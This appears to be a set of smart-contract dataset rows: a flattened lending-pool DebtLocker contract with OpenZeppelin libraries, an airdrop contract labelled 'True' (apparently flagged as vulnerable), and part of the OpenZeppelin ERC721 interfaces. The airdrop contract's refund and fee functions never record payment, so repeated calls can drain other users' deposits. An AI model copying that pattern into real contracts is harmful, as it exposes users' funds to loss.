* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// contracts/token/interfaces/IBasicFDT.sol
/* pragma solidity 0.6.11; */
/* import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import "./IBaseFDT.sol"; */
interface IBasicFDT is IBaseFDT, IERC20 {
event PointsPerShareUpdated(uint256);
event PointsCorrectionUpdated(address indexed, int256);
function withdrawnFundsOf(address) external view returns (uint256);
function accumulativeFundsOf(address) external view returns (uint256);
function updateFundsReceived() external;
}
////// contracts/token/interfaces/ILoanFDT.sol
/* pragma solidity 0.6.11; */
/* import "./IBasicFDT.sol"; */
interface ILoanFDT is IBasicFDT {
function fundsToken() external view returns (address);
function fundsTokenBalance() external view returns (uint256);
}
////// contracts/interfaces/ILoan.sol
/* pragma solidity 0.6.11; */
/* import "../token/interfaces/ILoanFDT.sol"; */
interface ILoan is ILoanFDT {
// State Variables
function liquidityAsset() external view returns (address);
function collateralAsset() external view returns (address);
function fundingLocker() external view returns (address);
function flFactory() external view returns (address);
function collateralLocker() external view returns (address);
function clFactory() external view returns (address);
function borrower() external view returns (address);
function repaymentCalc() external view returns (address);
function lateFeeCalc() external view returns (address);
function premiumCalc() external view returns (address);
function loanState() external view returns (uint256);
function collateralRequiredForDrawdown(uint256) external view returns (uint256);
// Loan Specifications
function apr() external view returns (uint256);
function paymentsRemaining() external view returns (uint256);
function paymentIntervalSeconds() external view returns (uint256);
function requestAmount() external view returns (uint256);
function collateralRatio() external view returns (uint256);
function fundingPeriod() external view returns (uint256);
function defaultGracePeriod() external view returns (uint256);
function createdAt() external view returns (uint256);
function principalOwed() external view returns (uint256);
function principalPaid() external view returns (uint256);
function interestPaid() external view returns (uint256);
function feePaid() external view returns (uint256);
function excessReturned() external view returns (uint256);
function getNextPayment() external view returns (uint256, uint256, uint256, uint256);
function superFactory() external view returns (address);
function termDays() external view returns (uint256);
function nextPaymentDue() external view returns (uint256);
function getFullPayment() external view returns (uint256, uint256, uint256);
// Liquidations
function amountLiquidated() external view returns (uint256);
function defaultSuffered() external view returns (uint256);
function amountRecovered() external view returns (uint256);
function getExpectedAmountRecovered() external view returns (uint256);
function liquidationExcess() external view returns (uint256);
// Functions
function fundLoan(address, uint256) external;
function makePayment() external;
function drawdown(uint256) external;
function makeFullPayment() external;
function triggerDefault() external;
function unwind() external;
// Security
function pause() external;
function unpause() external;
function loanAdmins(address) external view returns (address);
function setLoanAdmin(address, bool) external;
// Misc
function reclaimERC20(address) external;
}
////// lib/openzeppelin-contracts/contracts/math/SafeMath.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
////// lib/openzeppelin-contracts/contracts/utils/Address.sol
/* pragma solidity >=0.6.2 <0.8.0; */
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/* import "./IERC20.sol"; */
/* import "../../math/SafeMath.sol"; */
/* import "../../utils/Address.sol"; */
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
////// contracts/DebtLocker.sol
/* pragma solidity 0.6.11; */
/* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */
/* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */
/* import "./interfaces/ILoan.sol"; */
/// @title DebtLocker holds custody of LoanFDT tokens.
contract DebtLocker {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 constant WAD = 10 ** 18;
ILoan public immutable loan; // The Loan contract this locker is holding tokens for.
IERC20 public immutable liquidityAsset; // The Liquidity Asset this locker can claim.
address public immutable pool; // The owner of this Locker (the Pool).
uint256 public lastPrincipalPaid; // Loan total principal paid at last time claim() was called.
uint256 public lastInterestPaid; // Loan total interest paid at last time claim() was called.
uint256 public lastFeePaid; // Loan total fees paid at last time claim() was called.
uint256 public lastExcessReturned; // Loan total excess returned at last time claim() was called.
uint256 public lastDefaultSuffered; // Loan total default suffered at last time claim() was called.
uint256 public lastAmountRecovered; // Liquidity Asset (a.k.a. loan asset) recovered from liquidation of Loan collateral.
/**
@dev Checks that `msg.sender` is the Pool.
*/
modifier isPool() {
require(msg.sender == pool, "DL:NOT_P");
_;
}
constructor(address _loan, address _pool) public {
loan = ILoan(_loan);
pool = _pool;
liquidityAsset = IERC20(ILoan(_loan).liquidityAsset());
}
// Note: If newAmt > 0, totalNewAmt will always be greater than zero.
function _calcAllotment(uint256 newAmt, uint256 totalClaim, uint256 totalNewAmt) internal pure returns (uint256) {
return newAmt == uint256(0) ? uint256(0) : newAmt.mul(totalClaim).div(totalNewAmt);
}
/**
@dev Claims funds distribution for Loan via LoanFDT. Only the Pool can call this function.
@return [0] = Total Claimed
[1] = Interest Claimed
[2] = Principal Claimed
[3] = Pool Delegate Fee Claimed
[4] = Excess Returned Claimed
[5] = Amount Recovered (from Liquidation)
[6] = Default Suffered
*/
function claim() external isPool returns (uint256[7] memory) {
uint256 newDefaultSuffered = uint256(0);
uint256 loan_defaultSuffered = loan.defaultSuffered();
// If a default has occurred, update storage variable and update memory variable from zero for return.
// `newDefaultSuffered` represents the proportional loss that the DebtLocker registers based on its balance
// of LoanFDTs in comparison to the total supply of LoanFDTs.
// Default will occur only once, so below statement will only be `true` once.
if (lastDefaultSuffered == uint256(0) && loan_defaultSuffered > uint256(0)) {
newDefaultSuffered = lastDefaultSuffered = _calcAllotment(loan.balanceOf(address(this)), loan_defaultSuffered, loan.totalSupply());
}
// Account for any transfers into Loan that have occurred since last call.
loan.updateFundsReceived();
// Handles case where no claimable funds are present but a default must be registered (zero-collateralized loans defaulting).
if (loan.withdrawableFundsOf(address(this)) == uint256(0)) return([0, 0, 0, 0, 0, 0, newDefaultSuffered]);
// If there are claimable funds, calculate portions and claim using LoanFDT.
// Calculate payment deltas.
uint256 newInterest = loan.interestPaid() - lastInterestPaid; // `loan.interestPaid` updated in `loan._makePayment()`
uint256 newPrincipal = loan.principalPaid() - lastPrincipalPaid; // `loan.principalPaid` updated in `loan._makePayment()`
// Update storage variables for next delta calculation.
lastInterestPaid = loan.interestPaid();
lastPrincipalPaid = loan.principalPaid();
// Calculate one-time deltas if storage variables have not yet been updated.
uint256 newFee = lastFeePaid == uint256(0) ? loan.feePaid() : uint256(0); // `loan.feePaid` updated in `loan.drawdown()`
uint256 newExcess = lastExcessReturned == uint256(0) ? loan.excessReturned() : uint256(0); // `loan.excessReturned` updated in `loan.unwind()` OR `loan.drawdown()` if `amt < fundingLockerBal`
uint256 newAmountRecovered = lastAmountRecovered == uint256(0) ? loan.amountRecovered() : uint256(0); // `loan.amountRecovered` updated in `loan.triggerDefault()`
// Update DebtLocker storage variables if Loan storage variables has been updated since last claim.
if (newFee > 0) lastFeePaid = newFee;
if (newExcess > 0) lastExcessReturned = newExcess;
if (newAmountRecovered > 0) lastAmountRecovered = newAmountRecovered;
// Withdraw all claimable funds via LoanFDT.
uint256 beforeBal = liquidityAsset.balanceOf(address(this)); // Current balance of DebtLocker (accounts for direct inflows).
loan.withdrawFunds(); // Transfer funds from Loan to DebtLocker.
uint256 claimBal = liquidityAsset.balanceOf(address(this)).sub(beforeBal); // Amount claimed from Loan using LoanFDT.
// Calculate sum of all deltas, to be used to calculate portions for metadata.
uint256 sum = newInterest.add(newPrincipal).add(newFee).add(newExcess).add(newAmountRecovered);
// Calculate payment portions based on LoanFDT claim.
newInterest = _calcAllotment(newInterest, claimBal, sum);
newPrincipal = _calcAllotment(newPrincipal, claimBal, sum);
// Calculate one-time portions based on LoanFDT claim.
newFee = _calcAllotment(newFee, claimBal, sum);
newExcess = _calcAllotment(newExcess, claimBal, sum);
newAmountRecovered = _calcAllotment(newAmountRecovered, claimBal, sum);
liquidityAsset.safeTransfer(pool, claimBal); // Transfer entire amount claimed using LoanFDT.
// Return claim amount plus all relevant metadata, to be used by Pool for further claim logic.
// Note: newInterest + newPrincipal + newFee + newExcess + newAmountRecovered = claimBal - dust
// The dust on the right side of the equation gathers in the pool after transfers are made.
return([claimBal, newInterest, newPrincipal, newFee, newExcess, newAmountRecovered, newDefaultSuffered]);
}
/**
@dev Liquidates a Loan that is held by this contract. Only the Pool can call this function.
*/
function triggerDefault() external isPool {
loan.triggerDefault();
}
}
|
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pragma solidity ^0.4.25;
contract Token {
function transfer(address receiver, uint amount) public;
function balanceOf(address receiver)public returns(uint);
}
///@title Axioms-Airdrops
///@author Lucasxhy & Kafcioo
contract Axioms {
Airdrop [] public airdrops;
address public owner;
///@notice Set the creator of the smart contract to be its sole owner
constructor () public {
owner = msg.sender;
}
///@notice Modifier to require a minimum amount fo ether for the function to add and airdrop
modifier minEth {
require(msg.value >= 200000000000000000); // 0.2ETH Change this to amount of eth needed for gas fee in GWEI!
_;
}
///@notice Modifier that only allows the owner to execute a function
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
///@notice Creates a structure for airdrops, which stores all the necessary information for users to look up the history effectively and directly from the smart contract.
struct Airdrop {
string name;
uint id;
uint tokenAmount;
uint countDown;
uint timeStamp;
uint gasFeePaid;
uint decimals;
address distributor;
Token tokenSC;
}
///@notice Adds a new airdrop to the smart contract and starts the count down until it is distributed
function addNewAirdrop(
string _name,
uint _tokenAmount,
uint _countDown,
address _smartContract,
uint _decimals
)
public
minEth
payable
{
Token t = Token(_smartContract);
if(t.balanceOf(this)>=_tokenAmount){
uint lastIndex = airdrops.length++;
Airdrop storage airdrop = airdrops[lastIndex];
airdrop.name=_name;
airdrop.id =lastIndex;
airdrop.decimals = _decimals;
airdrop.tokenAmount = _tokenAmount;
airdrop.countDown=_countDown;
airdrop.gasFeePaid= msg.value;
airdrop.timeStamp=now;
airdrop.distributor = msg.sender;
airdrop.tokenSC = Token(_smartContract);
}else revert('Air Drop not added, Please make sure you send your ERC20 tokens to the smart contract before adding new airdrop');
}
///@notice Distirbutes a differen quantity of tokens to all the specified addresses.
///@dev Distribution will only occur when a distribute function is called, and passed the correct parameters, it is not the smart contracts job to produce the addresses or determine the ammounts
///@param index The airdrop to distribute based in the the array in which is saved
///@param _addrs The set of addresses in array form, to which the airdrop will be distributed
///@param _vals The set of values to be distributed to each address in array form
function distributeAirdrop(
uint index,
address[] _addrs,
uint[] _vals
)
public
onlyOwner
{
Airdrop memory airdrop = airdrops[index];
if(airdrop.countDown <=now) {
for(uint i = 0; i < _addrs.length; ++i) {
airdrop.tokenSC.transfer(_addrs[i], _vals[i]);
}
} else revert("Distribution Failed: Count Down not gone yet");
}
// Refound tokens back to the to airdrop creator
function refoundTokens(
uint index
)
public
onlyOwner
{
Airdrop memory airdrop = airdrops[index];
airdrop.tokenSC.transfer(airdrop.distributor,airdrop.tokenAmount);
}
function transferGasFee(uint index) public onlyOwner {
Airdrop memory airdrop = airdrops[index];
owner.transfer(airdrop.gasFeePaid);
}
}
|
True
|
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// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
